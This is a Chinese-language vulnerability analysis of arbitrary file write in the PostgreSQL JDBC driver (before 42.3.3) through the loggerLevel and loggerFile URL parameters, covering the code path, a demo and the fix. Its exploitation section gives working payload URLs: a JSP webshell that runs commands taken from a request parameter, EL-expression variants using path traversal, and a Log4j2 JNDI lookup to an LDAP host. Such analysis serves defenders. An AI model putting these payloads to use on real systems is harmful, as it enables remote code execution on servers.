PostgreSQL JDBC 任意文件写入漏洞
漏洞描述
当攻击者可以控制 JDBC Url 时,可以通过 loggerLevel/loggerFile 参数来指定日志记录的等级以及日志记录的位置,因此可以写入 JSP 文件,可能导致 RCE。
影响版本
- 42.3.x < 42.3.3
- 42.1.x
漏洞代码
在pom.xml中导入对应的PostgreSQL依赖
1 | <dependency> |
漏洞代码在jdbc初始化的时候,也就是org.postgresql.Driver#connect方法执行完parseURL解析了url之后会调用 org.postgresql.Driver#setupLoggerFromProperties 方法

跟进该方法
1 | private void setupLoggerFromProperties(final Properties props) { |
根据我们的JDBC连接参数去动态配置一个日志记录功能,首先配置loggerLevel日志的等级和loggerFile日志的文件位置,并且会创建新的FileHandler删除旧的Handler避免重复,从这里可以看出如果我们设置了loggerLevel和loggerFile两个参数,就会另外使用新配置的文件进行记录日志
跳出setupLoggerFromProperties方法,然后有一个 LOGGER.log(Level.FINE, "Connecting with URL: {0}", url);的操作,这里直接调用java.util.logging#Logger.log方法将URL写入了日志,这里对应的级别是FINE,其实也就是DEBUG
1 | public void log(Level level, String msg, Object param1) { |
写个demo测试一下就知道了
demo测试
1 | package PostgreSQLJDBC; |

可以看到确实是成功写入了的
利用方式
结合Log4j2
说到日志,就不得不想到Log4j2这个组件,既然是记录日志,则有可能配合 log4j2 实现 JNDI 注入
1 | jdbc:postgresql:///${jndi:ldap://127.0.0.1:1389/exp}?loggerLevel=TRACE&loggerFile=log.log |
能写文件,不过还要出网
JSP_webshell
最经典的 webshell 写入,也是前面分析过的,但需要注意一个URL解码的解析问题
由于会在部分位置进行 url 解码,因此要避开 <% %> 被 urldecode 报错的问题。例如
1 | jdbc:postgresql:///?loggerLevel=DEBUG&loggerFile=/tmp/a1.jsp&<%Runtime.getRuntime().exec(request.getParameter("i"));%> |
或者直接写在前面:
1 | jdbc:postgresql://<%Runtime.getRuntime().exec(request.getParameter("i"));%>/?loggerLevel=DEBUG&loggerFile=/tmp/a2.jsp |
具体的原因直接参考师傅的文章:https://su18.org/post/postgresql-jdbc-attack-and-stuff/#4-%E5%88%A9%E7%94%A8%E6%96%B9%E5%BC%8F
当然也可以用EL表达式,pyn3rd 师傅在他的文章中给出他的这种利用思路
1 | jdbc:postgresql://127.0.0.1:5432/testdb?ApplicationName=${Runtime.getRuntime().exec("open -a calculator")}&loggerLevel=TRACE&loggerFile=../../../wlserver/server/lib/consoleapp/webapp/framework/skins/wlsconsole/images/calc.jsp |
更进阶的一个写法是来自 whwlsfb 大哥的分享
1 | jdbc:postgresql:${""[param.a]()[param.b](param.c)[param.d]()[param.e](param.f)[param.g](param.h)}?loggerLevel=TRACE&loggerFile=/tomcat/.../a.jsp |
然后可以传入参数进行动态类方法的加载调用

漏洞修复
对于PgSQL JDBC来说,其实日志记录并不算是一个很重要的功能,往深了说关于日志记录的等级、文件位置这些并不应该作为一个用户可控的内容,所以在修复版本42.3.3 版本就移除了相应的方法内容和调用

参考文章: